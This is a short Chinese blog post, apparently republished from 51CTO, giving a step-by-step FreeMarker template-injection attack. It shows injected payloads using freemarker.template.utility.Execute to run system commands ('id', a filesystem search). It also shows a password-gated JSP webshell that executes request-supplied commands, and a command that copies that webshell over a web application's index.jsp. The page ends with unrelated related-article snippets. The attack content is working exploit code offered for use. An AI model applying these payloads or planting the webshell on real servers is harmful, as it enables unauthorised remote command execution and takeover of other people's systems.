FreeMarker执行系统命令

简介:

1、寻找可以上传FTL模板的漏洞点


2、尝试注入FTL模板

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("id")}


3、查找上传的FTL文件保存路径

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("find / -name *.ftl")}


4、获取WebShell

1
2
3
4
# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
1
2
3
4
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl 
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}


5、访问index.jsp


















本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1936931 ,如需转载请自行联系原作者




相关文章
|
10月前
|
cmd执行java程序,提示:Javac不是内部命令或外部命令~
cmd执行java程序,提示:Javac不是内部命令或外部命令~
116 0
outreg2的命令代码详解
Stata结果输出:outreg2命令详解
mybatis-plus启动时自动执行sql脚本
mybatis-plus启动时自动执行sql脚本
249 1
shell 增删改查-文件操作大全
对文件和字符串进行增删改查
724 0
若想在当前路径下去运行非当前路径下的.class文件(即java可执行文件),该如何操作?
想在当前路径下去运行非当前路径下的.class文件(即java可执行文件),亦即可在任意目录下都可以执行java程序。 比如:  若 D:\Java\day01\set classpath=C:\mycode 后面没有分号,    该命令的意思是将java的运行文件所在路径告诉系统,则虚拟机在运行该类时就会到指定的目录中查找.class文件,若没找着,会报错;    若没有配置classpath路径时,虚拟机就会在当前路径下查找类文件,若没找着,会报错。
1266 0
Linux命令行下:把程序放后台执行,以及从后台继续执行程序
把任务放到后台用 & 和 Ctrl+z 让后台任务从停止状态转为运行状态用 bg %N 把后台任务调回到前台用 fg %N 查看所有任务用jobs
2929 0